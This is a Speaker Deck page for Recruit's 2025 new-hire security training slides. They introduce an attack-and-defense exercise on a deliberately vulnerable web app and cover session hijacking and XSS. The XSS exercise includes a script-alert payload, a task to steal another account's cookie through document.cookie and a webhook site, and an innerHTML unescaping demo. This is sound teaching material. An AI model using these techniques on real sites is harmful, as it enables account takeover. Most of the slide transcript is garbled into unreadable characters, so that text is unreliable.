Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
攻撃と防御で実践するプロダクトセキュリティ演習~導入パート~
Search
Recruit
PRO
August 28, 2025
Technology
0
8
攻撃と防御で実践するプロダクトセキュリティ演習~導入パート~
2025年度リクルート エンジニアコース新人研修の講義資料です
Recruit
PRO
August 28, 2025
Tweet
Share
More Decks by Recruit
See All by Recruit
Browser
recruitengineers
PRO
2
26
JavaScript 研修
recruitengineers
PRO
1
21
TypeScript入門
recruitengineers
PRO
1
23
モダンフロントエンド 開発研修
recruitengineers
PRO
1
20
Webアクセシビリティ入門
recruitengineers
PRO
0
11
モバイルアプリ研修
recruitengineers
PRO
1
58
事業価値と Engineering
recruitengineers
PRO
0
19
制約理論(ToC)入門
recruitengineers
PRO
1
21
実践アプリケーション設計 ①データモデルとドメインモデル
recruitengineers
PRO
1
15
Other Decks in Technology
See All in Technology
Engineering Failure-Resilient Systems
infraplumber0
0
130
認知戦の理解と、市民としての対抗策
hogehuga
0
280
2025新卒研修・Webアプリケーションセキュリティ #弁護士ドットコム
bengo4com
3
10k
夢の印税生活 / Life on Royalties
tmtms
0
280
R-SCoRe: Revisiting Scene Coordinate Regression for Robust Large-Scale Visual Localization
takmin
0
400
AIエージェント就活入門 - MCPが履歴書になる未来
eltociear
0
250
Goでマークダウンの独自記法を実装する
lag129
0
210
OCI Bastionサービス
oracle4engineer
PRO
1
130
PFEM Online Feature Flag @ newmo
shinyaishitobi
2
340
OpenAPIから画面生成に挑戦した話
koinunopochi
0
140
第4回 関東Kaggler会 [Training LLMs with Limited VRAM]
tascj
11
1.6k
広島発!スタートアップ開発の裏側
tsankyo
0
200
Featured
See All Featured
10 Git Anti Patterns You Should be Aware of
lemiorhan
PRO
656
61k
Balancing Empowerment & Direction
lara
2
580
Designing Experiences People Love
moore
142
24k
Principles of Awesome APIs and How to Build Them.
keavy
126
17k
Imperfection Machines: The Place of Print at Facebook
scottboms
268
13k
Bootstrapping a Software Product
garrettdimon
PRO
307
110k
Documentation Writing (for coders)
carmenintech
73
5k
Facilitating Awesome Meetings
lara
55
6.5k
Large-scale JavaScript Application Architecture
addyosmani
512
110k
The Success of Rails: Ensuring Growth for the Next 100 Years
eileencodes
46
7.6k
How to train your dragon (web standard)
notwaldorf
96
6.2k
Testing 201, or: Great Expectations
jmmastey
45
7.6k
Transcript
߈ܸͱޚͰ࣮ફ͢ΔϓϩμΫτηΩϡϦςΟԋश ʙಋೖύʔτʙ ࢁా շ ग़Ո ༞و Ճ౻ࠤ೭ี
͜ͷݚमͷΰʔϧ
ඇެ։
ඇެ։
ඇެ։
͜͏͍ͬͨඃΛग़͞ͳ͍ͨΊʹ ԿΛɺͲ͏ؾΛ͚ͭΕ͍͍ͷʁ ͜ͷݚमͷΰʔϧʁ ΛֶΜͰ ҆શͳϓϩμΫτΛ ࡞ΕΔΑ͏ʹͳΖ͏ʂ
ΠϯτϩμΫγϣϯ
ࢁా շ ,BJ:BNBEB ͡ͿΓΜ !HQJPCMJOL • य़ʙ 3&%5&".ॴଐ •
ϦΫϧʔτ৽ଔೖࣾ ʲ࠷ۙϋϚ͍ͬͯΔ͜ͱɾࠓޙΓ͍ͨ͜ͱʳ • ిࢠ࡞ɺΈࠐΈ։ൃ • ࠷ۙࣗ࡞1$ങͬͯԾԽڥཱͯͨΓͯ͠༡ΜͰ·͢ ߨࢣհ
9 ߨࢣհ Ճ౻ࠤ೭ี 4BOPTVLF ,BUP • ݄৽ଔೖࣾ • 3&%5&".ॴଐ
ʲ࠷ۙϋϚ͍ͬͯΔ͜ͱɾಘҙͳ͜ͱʳ • Իָؑɺ%+ɺ'؍ઓ • ը૾ॲཧؔ࿈ o େֶ࣌ը૾ॲཧܥͷݚڀࣨॴଐ o աڈɺCAPTCHAύζϧͷ༗ޮੑݕূͳͲͬͯ·ͨ͠
出家祐貴 / Yuki Ideya • 2023年9月〜 RED TEAM所属 • それ以前は金融系のSIerや、セキュリティベンダーで官公庁への教育事
業などやっていました 【最近ハマっていること・今後やりたいこと】 • 生成AIのセキュリティ周り勉強したりとか (セキュリティ以外の知識 は課題感…!) • 喉の調子が慢性的に悪いので、ず◦だもんとかと生成AIで喋りを代わ りにやってくれる仕組みを模索中 • 北海道からリモートで働いてて出社ほぼないので攻めたサブカルっぽ い服を買ったりするのですが、着る場面がなくていつも後悔します 講師紹介
ߨٛͷεέδϡʔϧ ʢਫʣ ʢʣ னٳܜ ಋೖฤʢલʣ ಋೖฤʢޙʣ νʔϜԋशઆ໌ νʔϜԋश Iٳܜ
ղઆɾ෮श
νʔϜ͚ ඇެ։
ಋೖฤ ͷΞδΣϯμ ԋशڥΛ৮ͬͯΈΑ͏ ࠓճͷݚमͰֶͿ͜ͱ 8FCΞϓϦέʔγϣϯʹ͓͚Δ੬ऑੑͱ߈ܸख๏
੬ऑੑͷରࡦ ཌͷԋशͷઆ໌ ͪ͜Βͷઆ໌ͷલʹ νʔϜຖʹ͝Ҡಈ͍ͨͩ͘༧ఆͰ͢
• ڐՄ͞ΕͨγεςϜҎ֎ʹࢼ͞ͳ͍͜ͱ ʢෆਖ਼ΞΫηεېࢭ๏ʣ • ਖ਼ͳཧ༝ͳ͘ϚϧΣΞΛऔಘɾอ༗͠ͳ͍͜ͱ ʢෆਖ਼ࢦྩి࣓తهʹؔ͢Δࡑʣ • Πϯλʔωοτ্Ͱ͞ΕΔιϑτΣΞͷར༻࣌ʹɺͦΕΒͷ৴པੑΛ ࣄલʹ֬ೝ͢Δ͜ͱ ʢใηΩϡϦςΟରࡦج४ʣ
ҙࣄ߲ ͜ͷߨٛͰ࣮ࡍʹѱ༻͕ՄೳͳίʔυΛऔΓѻ͍·͢ɻ औΓѻ͍ʹेʹҙ͍ͯͩ͘͠͞ɻ
8FCΞϓϦέʔγϣϯͷηΩϡϦςΟ্Λతͱͨ͠ੈքతͳඇӦརίϛϡχςΟͰ͢ɻ 08"41͕ެ։͢Δใɺຊͷެతػؔʹ͓͍ͯηΩϡϦςΟରࡦͷࢦͱͯ͠ࢀর͞Ε͓ͯΓɺ ͦͷ৴པੑ͘ೝΊΒΕ͍ͯ·͢ɻ ຊݚमͰѻ͏߈ܸख๏ʹ͍ͭͯ ຊࢿྉͰղઆ͢Δ߈ܸख๏੬ऑੑʹؔ͢Δใɺ͍ͣΕੈͷதͰ͘ೝ ͞Ε͍ͯΔطͷڴҖͰ͋Γɺ͕ࣾಠࣗʹ։ൃͨ͠ͷͰ͋Γ·ͤΜɻ ͜ͷࢿྉͰհ͢Δ߈ܸख๏શͯɺ08"41ʹΑΓɺ ҙשىͷͨΊʹެ։͞Ε͍ͯΔ༰ʹͳΓ·͢ɻ ʲຊߨ࠲Ͱѻ͏߈ܸख๏ͷग़యʳ 08"41$IFBU4IFFU4FSJFT
ʢIUUQTDIFBUTIFFUTFSJFTPXBTQPSHʣ 08"41ͱʁ
ԋशڥΛ৮ͬͯΈΑ͏
ࠓճࣗ༝ʹ߈ܸ͕Ͱ͖ΔΞϓϦΛ༻ҙ ଞͷਓͱؾʹͳΔ8FCαΠτΛڞ༗Ͱ͖ΔαʔϏεʮ7VMONBSLFSʯ
ΞϓϦͷΞΫηεํ๏ IUUQT Լهͷ63-ͰΞϓϦέʔγϣϯΛىಈ͍ͯ͠·͢ʢཁ ΤχίωΠϯίωʣ ✔ $IFDL63-ʹΞΫηε͠ ϩάΠϯը໘͕දࣔ͞ΕͨΒ0,
ΞϓϦͷιʔείʔυͷΞΫηε ҎԼͷίϚϯυΛೖྗ͠ɺWVMONBSLFSͷιʔείʔυΛμϯϩʔυ͍ͯͩ͘͠͞ ඇެ։
ػೳΛࢼ͠ͳ͕ΒιʔείʔυΛݟͯΈ·͠ΐ͏ ΞΧϯτొͷࡍීஈͷύεϫʔυೖྗ͠ͳ͍Ͱ͍ͩ͘͞ ʲൃలʳ੬ऑੑΛ୳ͯ͠Έ·͠ΐ͏ ԋशɿ7VMONBSLFSΛ৮ͬͯΈ·͠ΐ͏ ࣮ࢪ࣌ؒ
ࢀߟ ϩʔΧϧͰͷىಈखॱ $ docker compose up --build -d WVMONBSLFSΛμϯϩʔυͨ͠σΟϨΫτϦͰҎԼΛೖྗ͍ͯͩ͘͠͞
✔ $IFDLͭͷίϯςφ͕4UBSUFEʹͳΕ0, ىಈ·Ͱগʑ͕͔͔࣌ؒΓ·͢ 「unknown flag」のエラーがでる場合は? %PDLFS͕ىಈ͍ͯ͠ͳ͍Մೳੑ͕͋Γ·͢ɻ -BVODIQBE ΞϓϦҰཡը໘ ͔Β %PDLFS%FTLUPQΞϓϦΛ ىಈͯ͠࠶ࢼߦ͍ͯͩ͘͠͞ɻ
ࢀߟ ϩʔΧϧͰىಈͨ͠ΞϓϦͷΞΫηεํ๏ IUUQMPDBMIPTU Լهͷ63-ͰϩʔΧϧڥͰىಈͨ͠ΞϓϦέʔγϣϯʹΞΫηεͰ͖·͢
EPDLFSDPNQPTFEPXO ίϯςφΛऴྃ ˞EPDLFSDPNQPTFSFTUBSUίϚϯυͰ࠶Ϗϧυ͕͞Εͳ͍ͨΊɺ ͪ͜ΒͷखॱͰ࠶ىಈ͍ͯͩ͘͠͞ ࢀߟ ڥΛ࠶ىಈ͍ͨ͠ͱ͖ EPDLFSDPNQPTFVQrECVJME ίϯςφΛىಈ ιʔείʔυΛमਖ਼͠ɺमਖ਼ޙͷڍಈΛࢼ͍ͨ͠߹
WVMONBSLFSΛμϯϩʔυͨ͠σΟϨΫτϦͰҎԼͭͷίϚϯυΛೖྗ͠·͢ɻ
ࠓճͷݚमͰֶͿ͜ͱ
҆શͳϓϩμΫτΛ࡞ΔͨΊʹඞཁͳ͜ͱ Ұྫ https://www.jssec.org/report/android_securecoding_20250129.html https://www.amazon.co.jp/dp/4797393165 https://coky-t.gitbook.io/owasp-mastg-ja/ios-tesutogaido/0x06a-platform-overview https://nodejs.org/en/learn/getting-started/security-best-practices ઃܭɺ࣮ɺӡ༻ɺ8FCͰͷҰൠతͳҙࣄ߲ɺϞόΠϧಛ༗ͷҙࣄ߲ ϥΠϒϥϦಛ༗ͷҙࣄ߲ɺࣾϧʔϧͳͲɺؾΛ͚ͭͳ͚ΕͳΒͳ͍͜ͱ͕ͨ͘͞Μ͋Γ·͢ɻ
҆શͳϓϩμΫτΛ࡞ΔͨΊʹඞཁͳ͜ͱ Ұྫ શ෦ؙ҉ه͢Δʹ͋·Γʹେมʂ https://www.jssec.org/report/android_securecoding_20250129.html https://www.amazon.co.jp/dp/4797393165 https://coky-t.gitbook.io/owasp-mastg-ja/ios-tesutogaido/0x06a-platform-overview https://nodejs.org/en/learn/getting-started/security-best-practices
ඇެ։
҆શͳ࣮ΛޮΑֶ͘ͿͨΊʹ Ͳ͏ͯ͠ةݥͳͷʁ Ͳ͏͢Ε͛Δͷʁ ةݥͳཧ༝ͱकΔखஈΛηοτͰ֮͑ͯɺةݥͳ࣮ͷύλʔϯΛཧղ͢Δ͜ͱͰ ޮΑֶ͘Ϳ͜ͱ͕Ͱ͖·͢ʂ ·ͨϑϨʔϜϫʔΫ͕ҧ͍ͬͯͯɺߟ͑ํΛ͍ͬͯΔͱڞ௨Խ͢Δ͜ͱͰ͖·͢ ݪཧΛΔ͜ͱͰ ਖ਼͘͠ɺίετͰकΕΔ ͜ͷ࣮ةݥ͔ʂ
ͱ͍͏ηϯαʔΛ࡞Δ ඞཁͳͱ͖ʹௐΒΕΔ
ʮͲ͏ͯ͠ةݥͳͷʁʯΛֶͿͨΊʹେࣄͳ͜ͱ Ͳ͏ͯ͠ةݥͳͷʁ ˠ ߈ܸऀઢͰɺ Ͳ͏ѱ༻͞ΕΔͷ͔ΛΔ͜ͱ͕େࣄ
ʮͲ͏͢Ε͛ΔͷʁʯΛֶͿͨΊʹେࣄͳ͜ͱ Ͳ͏͢Ε͛Δͷʁ ˠ ΈΛΓɺةݥͳཁૉΛ Ͳ͏ͬͯऔΓআ͍͍ͯΔ͔Δ͜ͱ͕େࣄ
߈ܸ ͱ ޚ Ͱ࣮ફ͢ΔϓϩμΫτηΩϡϦςΟԋशͰɺ ߈ܸऀ͕ͲͷΑ͏ʹ੬ऑੑ ܽؕ Λѱ༻͢Δͷ͔ΛΓɺ ਖ਼͘͠੬ऑੑΛमਖ਼͢ΔͨΊͷࣝͱํ๏ Λֶͼ·͠ΐ͏ʂ
վΊͯ͜ͷݚमԿΛֶͿͷʁ
߈ܸऀͷѱ༻खஈ దͳޚखஈΛΔͨΊʹ ඞཁͳ͜ͱ
߈ܸऀͲ͏ͬͯ੬ऑੑΛѱ༻͢ΔΜͩΖ͏ ペンギンくんの ブラウザでJavaScript を実⾏できる脆弱性を ⾒つけたぞ! ۩ମతʹ߈ܸऀ͕੬ऑੑΛͲ͏ͬͯѱ༻͢Δͷ͔Πϝʔδͯ͠Έ·͠ΐ͏ʂ VulnmarkerαΠτ
߈ܸͱޚΛΔͨΊʹඞཁͳ͜ͱɿΈΛΔ ペンギンくんの ブラウザで JavaScriptを実⾏で きる脆弱性を⾒つけ たぞ! どうして危険なの?
ѱ༻ྫϑΟογϯά ペンギンくんの ブラウザでJavaScript を実⾏できる脆弱性を ⾒つけたぞ! +BWB4DSJQUͰIUNMΛॻ͖͑ΒΕΔ͜ͱΛ͍ͬͯͯɺѱ༻ํ๏Λߟ͑ͯΈΔͱʜ ͋ʂ͓ࢧ͍ํ๏ͷߋ৽ͩʂೖྗ͠ͳ͖Ό υϝΠϯਖ਼͍͔͠Β৴པͰ͖Δͳʂ https://www.npa.go.jp/bureau/cyber/countermeasures/phishing.html
VulnmarkerαΠτ
ѱ༻ࣄྫΞΧϯτͬऔΓ ペンギンくんの ブラウザでJavaScript を実⾏できる脆弱性を ⾒つけたぞ! ۩ମతʹ߈ܸऀ͕੬ऑੑΛͲ͏ͬͯѱ༻͢Δͷ͔Πϝʔδͯ͠Έ·͠ΐ͏ʂ JavaScriptで情報収集し てみると、おや、 「⼤事な情報」があるぞ
ϒϥβ্ʹ͋Δ େͳใ +BWB4DSJQU
ΞΧϯτͬऔΓΛཧղ͢ΔͨΊʹඞཁͳ͜ͱ ͠γεςϜͷཧղ͕ҎԼͷঢ়ଶͩͬͨͱ͢Δͱɺݱ࣌Ͱѱ༻ํ๏ࢥ͍͚ͭͳ͍ɻ なんかやりとり なんか⼤事な情報 を保存
ΞΧϯτͬऔΓΛཧղ͢ΔͨΊʹඞཁͳ͜ͱ ҎԼͷΈͩͱͨ͠Βɺ ʮϢʔβʔࣝผ*%ʯΛ౪·ΕΔͱ·ͣͦ͏ͱ͍͏͜ͱ͕Θ͔Δͱࢥ͏ɻ ϩάΠϯ࣌ʹϢʔβʔࣝผ*%Λൃߦ ユーザー識別ID を保存 ͯ͢ͷϦΫΤετʹϢʔβʔࣝผ*%Λఏࣔ αʔόʔ Ϣʔβʔࣝผ*%Ͱࣝผ
ΞΧϯτͬऔΓΛཧղ͢ΔͨΊʹඞཁͳ͜ͱ ͞Βʹ$PPLJFʹอଘ͍ͯ͠Δ͜ͱ·Ͱ͍ͬͯͨΒɺ +BWB4DSJQUͰͲ͏ͬͯ߈ܸ͢Δ͔Θ͔ΔͩΖ͏ɻ ϩάΠϯ࣌ʹϢʔβʔࣝผ*%Λൃߦ ユーザー識別ID をCookieに保存 ͯ͢ͷϦΫΤετʹϢʔβʔࣝผ*%Λఏࣔ αʔόʔ Ϣʔβʔࣝผ*%Ͱࣝผ
ΞΧϯτͬऔΓΛཧղ͢ΔͨΊʹඞཁͳ͜ͱ ͞Βʹ$PPLJFʹอଘ͍ͯ͠Δ͜ͱ·Ͱ͍ͬͯͨΒɺ +BWB4DSJQUͰͲ͏ͬͯ߈ܸ͢Δ͔Θ͔ΔͩΖ͏ɻ ϩάΠϯ࣌ʹϢʔβʔࣝผ*%Λൃߦ ユーザー識別ID をCookieに保存 ͯ͢ͷϦΫΤετʹϢʔβʔࣝผ*%Λఏࣔ αʔόʔ Ϣʔβʔࣝผ*%Ͱࣝผ
ϖϯΪϯ͘ΜͷϢʔβʔࣝผ*%ͰϦΫΤετ
ΞΧϯτͬऔΓΛཧղ͢ΔͨΊʹඞཁͳ͜ͱ ࣮ࡍͷϓϩμΫτͰɺTFTTJPO*%ͱ͍͏ϥϯμϜͳ*%Λ͍ग़ͯ͠Ϣʔβʔͱඥ͚ͮΔ ͜ͱ͕ଟ͍͕ɺ߈ܸख๏ಉ༷ɻ ϩάΠϯ࣌ʹTFTTJPO*%Λൃߦ sessionID をCookieに保存 ͯ͢ͷϦΫΤετʹTFTTJPO*%Λఏࣔ αʔόʔ TFTTJPO*%ͰϢʔβʔΛࣝผ
TFTTJPO*% ͱϢʔβ ͷඥ͚ͮ ϩάΠϯͷϦΫΤετ
ѱ༻ࣄྫΞΧϯτͬऔΓ ペンギンくんの ブラウザでJavaScript を実⾏できる脆弱性を ⾒つけたぞ! ۩ମతʹ߈ܸऀ͕੬ऑੑΛͲ͏ͬͯѱ༻͢Δͷ͔Πϝʔδͯ͠Έ·͠ΐ͏ʂ JavaScriptで情報収集 してみると、おや、 「sessionID」があるぞ
TFTTJPO*% +BWB4DSJQU このsessionIDをサー バーに送るとペンギ ンくんになれそうだ
ࠓճͷԋशͰֶͿ͜ͱ߈ܸαΠυ αʔϏε͕ಈ࡞͢ΔΈΛΔ͜ͱͰɺݟ͑ͯ͜ͳ͔ͬͨϦεΫ͕ݟ͑ͯ͘Δ͔͠Εͳ͍ ࠓճͷԋशͰɺʮαʔϏεͷΈʯʮͦͷΈΛ߈ܸऀ͕Ͳ͏ѱ༻͢Δͷ͔ʯ Λத৺ʹֶΜͰ͍͖ͨͩ·͢
ࠓճͷԋशͰֶͿ͜ͱޚαΠυ ޚ͢Δࡍ߈ܸऀͷى͜͢ӨڹΛૂͬͨͱ͓Γʹݮ͢Δ͜ͱ͕େͰ͢ɻ • ྫ͑୯ͳΔϗʔϜϖʔδͳͲͰηογϣϯ͕ෆཁͳαʔϏεͷ߹ ରࡦෆཁͰ͠ΐ͏͔ʁˠ·ͩϑΟογϯάͷՄೳੑ͕Γ·͢ • ߈ܸऀͷϚΠϖʔδը໘Ͱ͔͠+BWB4DSJQU͕࣮ߦͰ͖ͣɺࣗࣗʹ͔͠Өڹ͠ͳ͍ ߹ݮ͕ඞཁͰ͠ΐ͏͔ʁʢࠓେৎͰࠓޙͳʹ͔ͰݦࡏԽ͢Δ͔ʜʣ 攻撃⼿法の想定 攻撃⼿法をどう低減するか
設計 ࠓճͷԋशͰݶΒΕͨۀ࣌ؒͰରԠ͢Δ͜ͱΛఆͯ͠ɺ ʮ߈ܸख๏Λཧղ͠ɺͲ͏ݮ͢Δͷ͔ʯ Λߟ͍͖͑ͯͨͩ·͢ʂ
8FCΞϓϦέʔγϣϯʹ͓͚Δ੬ऑੑͱ߈ܸख๏
ಋೖฤͰҎԼͭͷ੬ऑੑΛհ͠·͢ 944ʢ$SPTT4JUF4DSJQUJOHʣ ΞΫηε੍ޚෆඋʢ*%03ͳͲʣ ೝূೝՄͷෆඋʢ$43'ͳͲʣ 42-*OKFDUJPO 1BUI5SBWFSTBM %P4ʢ%FOJBMPG4FSWJDFʣ 04$PNNBOE*OKFDUJPO
944ʢ$SPTT4JUF4DSJQUJOHʣ
ݕࡧͷೖྗཝʹTDSJQUBMFSU TDSJQUΛೖྗͯ͠Կ͕ى͜Δ͔Λ֬ೝ ͯ͠Έ·͠ΐ͏ ͷݪҼՕॴΛιʔείʔυத͔Β୳ͯ͠Έ·͠ΐ͏ ʲൃలʳͱಉ༷ʹࣗݾհͷදࣔ෦ͰBMFSU ͕࣮ߦ͞ΕΔΑ͏ʹ ࡉͯ͠Έ·͠ΐ͏ ʲൃలʳ࡞ͨ͠ଞͷΞΧϯτͷ$PPLJFΛऔ͢Δ944ͷίʔυΛ࡞ ͯ͠Έ·͠ΐ͏
ώϯτ$PPLJFडऔʹɺ"QQFOEJYͷXFCIPPLTJUFΛར༻ ώϯτ+4্ͰEPDVNFOUDPPLJFͰ$PPLJFͷΛऔಘՄೳ ԋशɿ944Λѱ༻ͨ͠߈ܸ ࣮ࢪ࣌ؒ
ݕࡧͷೖྗཝʹTDSJQUBMFSU TDSJQUΛೖྗͯ͠Կ͕ى͜Δ͔Λ֬ೝ͠ ͯΈ·͠ΐ͏ ԋशղઆɿ944Λѱ༻ͨ͠߈ܸ ᶃ IUUQMPDBMIPTUQPTUTTFBSDIʹΞΫηε ԋशղઆ ᶄ TDSJQUBMFSU
TDSJQUΛೖྗ ᶅ ݕࡧϘλϯΛԡ͢ͱ ϙοϓΞοϓ͕ग़ݱ TDSJQUTDSJQUͷதΛॻ͖͑Δͱɺ ϒϥβ্Ͱҙͷ+BWB4DSJQU͕࣮ߦͰ͖Δʂ ͜ͷ੬ऑੑΛԠ༻͢Δͱʜ
ͷݪҼՕॴΛιʔείʔυத͔Β୳ͯ͠Έ·͠ΐ͏ ԋशղઆɿ944Λѱ༻ͨ͠߈ܸ ԋशղઆ ʲͳͥϙοϓΞοϓ͕ग़ͯ͠·ͬͨͷ͔ʳ ᶃ ͷը໘Ͱ DPNNBOE PQUJPO J
Λԡ͠ɺ։ൃऀπʔϧΛ։͘ ᶄ /FUXPSLλϒΛબ͢Δ ᶅ ͷը໘্ͷߋ৽ϘλϯΛԡ͢ ᶆ 5ZQF͕EPDVNFOUͷ௨৴Λબ͢Δ ˞ଞͷϑΝΠϧɺKTDTTͰ͋Γɺݻఆͷ༰ͷϑΝΠϧ ੩తͳϑΝΠϧ ͱࢥΘΕΔͨΊEPDVNFOUΛݟΔ
ͷݪҼՕॴΛιʔείʔυத͔Β୳ͯ͠Έ·͠ΐ͏ ԋशղઆɿ944Λѱ༻ͨ͠߈ܸ ԋशղઆ ᶇ 3FTQPOTFλϒΛબ͢Δ ᶈ ιʔείʔυத͔Βλά͕ຒΊࠐ·Ε͍ͯΔՕॴΛ୳͢ ˠ ᶄͰೖྗͨ͠TDSJQUλά͕)5.-ʹө͞Ε͍ͯΔʂ
ͷݪҼՕॴΛιʔείʔυத͔Β୳ͯ͠Έ·͠ΐ͏ ԋशղઆɿ944Λѱ༻ͨ͠߈ܸ ԋशղઆ ʲͳͥϨεϙϯεͷ)5.-ιʔεʹεΫϦϓτ͕ຒΊࠐ·Εͨͷ͔ʳ ᶉ 1BZMPBEλϒΛબ͢Δ VSMͷͱͯ͠εΫϦϓτΛ͍ͯ͠Δ ᶊ )FBEFSλϒΛબ͢Δ
QPTUTTFBSDIͷ (&5ϦΫΤετͱ͔Δ
ͷݪҼՕॴΛιʔείʔυத͔Β୳ͯ͠Έ·͠ΐ͏ ԋशղઆɿ944Λѱ༻ͨ͠߈ܸ ԋशղઆ ʲιʔείʔυத͔ΒݪҼΛಛఆʳ CϢʔβʔ͔Βड͚औͬͨVSMΛ NFTTBHFʹ֨ೲ ᶊ ᶉͰ໌ͨ͠ใΛͱʹ QPTUTTFBSDI
ͷ (&5ϦΫΤετΛݕࡧ BᶈͰ֬ೝͨ͠ϦΫΤετύϥϝʔλ ͔ΒVSMͷΛऔಘ DSFQMZWJFX ʹͯNFTTBHFΛड͚औΓ TFBSDIFKTΛ༻͍ͯ ϒϥβʹฦ͢ϨεϙϯεΛ࡞͢Δ ᶊ ൃݟͨ͠ιʔείʔυΛಡΈɺϢʔβʔͷೖྗ͔ΒϨεϙϯε·ͰͷॲཧͷྲྀΕΛௐࠪ
https://ejs.co/ ͷݪҼՕॴΛιʔείʔυத͔Β୳ͯ͠Έ·͠ΐ͏ ԋशղઆɿ944Λѱ༻ͨ͠߈ܸ ԋशղઆ ʲιʔείʔυத͔ΒݪҼΛಛఆʳ ᶋ ᶊͰϨεϙϯε࡞ʹ༻͍ΒΕ͍ͯͨ TFBSDIFKTΛ։͖ɺॲཧΛௐࠪ NFTTBHFΛʮ
ʯͰғ͍ͬͯΔ ᶌ ͜ͷλάͷҙຯΛFKTͷެࣜυΩϡϝϯτΑΓௐࠪ ɺΤεέʔϓॲཧΛͤͣʹग़ྗ͢Δͷ Ϣʔβʔ͔Βड͚औͬͨೖྗΛ ΤεέʔϓॲཧͤͣϨεϙϯεʹग़ྗ͍ͯ͠Δ͜ͱʂ ͜ͷ੬ऑੑͷൃੜݪҼʜ
ʲൃలʳͱಉ༷ʹࣗݾհͷදࣔ෦ͰBMFSU ͕࣮ߦ͞ΕΔΑ͏ʹ ࡉͯ͠Έ·͠ΐ͏ ԋशղઆɿ944Λѱ༻ͨ͠߈ܸ ԋशղઆ ᶃ IUUQMPDBMIPTUQSPpMFʹΞΫηε ʲ·ͣ ͱಉ༷ͷํ๏Λࢼ͢ʳ
ᶄ TDSJQUBMFSU TDSJQUΛೖྗ ᶅ ϓϩϑΟʔϧΛߋ৽ ᶆ ࣗͷࣗݾհϖʔδʹΞΫηε ᶇ εΫϦϓτ͕࣮ߦ͞Εͳ͍͜ͱΛ֬ೝ
ʲൃలʳͱಉ༷ʹࣗݾհͷදࣔ෦ͰBMFSU ͕࣮ߦ͞ΕΔΑ͏ʹ ࡉͯ͠Έ·͠ΐ͏ ԋशղઆɿ944Λѱ༻ͨ͠߈ܸ ԋशղઆ ʲεΫϦϓτ͕࣮ߦ͞Εͳ͍ݪҼΛௐࠪʳ ᶈ ᶇͷը໘Ͱ DPNNBOE
PQUJPO J Λԡ͠ɺ։ൃऀπʔϧΛ։͘ ᶉ /FUXPSLλϒΛબ͠ɺᶇͷը໘͔Βߋ৽ ᶊ UZQF͕EPDVNFOUͷ௨৴Λબ͢Δ ᶋ 3FTQPOTFλϒΛબ͢Δ λά͕Τεέʔϓ ແԽ ͞Ε͍ͯΔ
ʲൃలʳͱಉ༷ʹࣗݾհͷදࣔ෦ͰBMFSU ͕࣮ߦ͞ΕΔΑ͏ʹ ࡉͯ͠Έ·͠ΐ͏ ԋशղઆɿ944Λѱ༻ͨ͠߈ܸ ԋशղઆ Ͱλά͕ແԽ͞Ε͍ͯΔͳΒɺ ᶇͷը໘Ͱλά͕ͦͷ··දࣔ͞ΕΔͣͰʁ TDSJQUBMFSU TDSJQU
දࣔͷࡍʹͲ͏ղऍ͞Ε͍ͯΔ͔֬ೝ͠·͠ΐ͏ ᶌ &MFNFOUTλϒΛબ͢Δ ᶍ ⾣Λԡ͠ɺʮ͜ΜʹͪʯͷՕॴ·Ͱల։ ແԽ͞Εͳ͍௨ৗͷ)5.-λάͱͯ͠ೝࣝ ຊདྷදࣔ͞ΕΔͣ
ʲൃలʳͱಉ༷ʹࣗݾհͷදࣔ෦ͰBMFSU ͕࣮ߦ͞ΕΔΑ͏ʹ ࡉͯ͠Έ·͠ΐ͏ ԋशղઆɿ944Λѱ༻ͨ͠߈ܸ ԋशղઆ EJOOFS)5.-Λ༻͍ͯॲཧ݁ՌΛࣗݾհͷ)5.-ཁૉʹઃఆ Cจதʹ63-͕͋ΕBλάʹ͢Δॲཧ ᶎ ᶋͷը໘͔Β)5.-ιʔεͷεΫϦϓτ෦Λௐࠪ
Bࣗݾհͷ)5.-ཁૉ͔ΒςΩετΛ UFYU$POUFOU Ͱऔಘ͠ɺ QSPDFTT6TFS4FMG*OUSPEVDUJPO Λ࣮ߦ DۭനͷআվߦΛCSλάʹ͢Δॲཧ 63-վߦจࣈͷมॲཧͰ͋Γ TDSJQUλάͷมʹؔͳͦ͞͏ ͷऔಘઃఆͷॲཧͰ ҉ࣔతʹλάͷม͕͞ΕΔՄೳੑ )5.-ιʔεͩͱແԽ͞Ε͍ͯΔͷʹɺ௨ৗͷλάͱͯ͠ೝࣝ͞Ε͍ͯΔݪҼɺεΫϦϓτʹ͋Δͣ
ʲൃలʳͱಉ༷ʹࣗݾհͷදࣔ෦ͰBMFSU ͕࣮ߦ͞ΕΔΑ͏ʹ ࡉͯ͠Έ·͠ΐ͏ ԋशղઆɿ944Λѱ༻ͨ͠߈ܸ ԋशղઆ ᶐ ։ൃऀπʔϧͰ$POTPMFλϒΛ։͘ <!DOCTYPE html>
<html lang="ja"> <head> <meta charset="UTF-8"> </head> <body> <div id="test"><a href="https://example.com">ςε τ</a></div> </body></html> ʲUFYU$POUFOUͱJOOFS)5.-ͷڍಈΛௐࠪʳ ᶏ ҎԼͷ)5.-Λదͳॴʹอଘ ᶏ อଘॴͷύεΛ։͘ ⑮ let element = document.getElementById('test'); Λೖྗ ⑯ element.textContext;Λೖྗ ˠ UFYU$POUFOU ͰΤεέʔϓจࣈ ΞϯΤεέʔϓ͞Εͯऔಘ͞ΕΔ <"Ͱͳ͘ɺΞϯΤεέʔϓ͞Εͨจࣈྻ͕औಘ͞Ε͍ͯΔ
ʲൃలʳͱಉ༷ʹࣗݾհͷදࣔ෦ͰBMFSU ͕࣮ߦ͞ΕΔΑ͏ʹ ࡉͯ͠Έ·͠ΐ͏ ԋशղઆɿ944Λѱ༻ͨ͠߈ܸ ԋशղઆ ⑰ element.innerHTML = element.textContent;
を⼊⼒ ˠ JOOFS)5.-Ͱೖྗ͕ )5.-ཁૉͱͯ͠ઃఆ͞ΕΔ ᶔ ϒϥβͷද͕ࣔϦϯΫʹஔ͖Θͬͨ͜ͱΛ֬ೝ Τεέʔϓ͕ղআ͞Ε)5.-λά͕ಡΈࠐ·ΕΔʂ ͭ·Γཁૉͷ༰ΛUFYU$POUFOUͰऔಘ͠ɺͦͷΛJOOFS)5.-Ͱઃఆ͢Δͱʜ
